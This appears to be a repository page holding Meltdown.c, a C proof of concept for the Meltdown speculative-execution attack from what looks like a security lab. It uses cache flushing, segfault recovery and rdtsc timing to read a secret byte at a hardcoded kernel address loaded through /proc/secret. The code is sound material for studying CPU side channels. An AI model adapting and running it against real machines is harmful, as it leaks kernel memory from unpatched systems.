-
Notifications
You must be signed in to change notification settings - Fork 2
/
Meltdown.c
134 lines (105 loc) · 2.11 KB
/
Meltdown.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#define _POSIX_SOURCE
#define _XOPEN_SOURCE 500
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <setjmp.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <emmintrin.h>
#include <x86intrin.h>
#include "cacheutils.h"
#define CACHE_HIT_THRESHOLD 120
#define MARGIN 1024
int array[256*4096];
static jmp_buf restore_point;
unsigned long count;
void handle_segfault(int sig)
{
signal(SIGSEGV, &handle_segfault);
longjmp(restore_point, SIGSEGV);
}
void handle_segint(int sig)
{
printf("Caught interrupt signal %d\n", sig);
exit(1);
}
void doflush()
{
int i;
// FLush the array elements that could be cached
for (i=0; i<256; i++)
_mm_clflush(&array[i*4096]);
}
void reload()
{
int i;
uint64_t start, end;
// Reload the array and check hits
register uint64_t time1, time2;
int *addr;
for (i=0; i<256; i++)
{
addr = &array[i*4096];
start = rdtsc();
*addr = 1;
end = rdtsc();
if ((end - start) <= CACHE_HIT_THRESHOLD)
{
if (i == 'M') // secret value
count++;
}
}
}
void meltdown(unsigned long kernel_addr)
{
char data = 0;
int i, a=0;
asm volatile(
".rept 400;"
"add $0x1, %%ebx;"
".endr;"
:
:
: "ebx"
);
data = *(char*)kernel_addr;
array[data * 4096] += 1;
}
int main()
{
int i, j, ret=0; // change ret var name later
// Registering Signal handler for SIGSEGV
signal(SIGSEGV, handle_segfault);
int fd = open("/proc/secret", O_RDONLY);
if (fd < 0) {
perror("open");
return -1;
}
doflush();
// Retry 1000 times on the same address.
int fault_code;
count = 0;
for (i = 0; i < 1000; i++) {
ret = pread(fd, NULL, 0, 0);
if (ret < 0) {
perror("pread");
break;
}
// Flush the probing array
for (j = 0; j < 256; j++)
_mm_clflush(&array[j * 4096]);
fault_code = sigsetjmp(restore_point, 1);
if (fault_code == 0)
{
meltdown(0xffffffffc0fc8000);
}
else{
reload();
}
}
printf("Secret appeared %ld times \n", count);
return 0;
}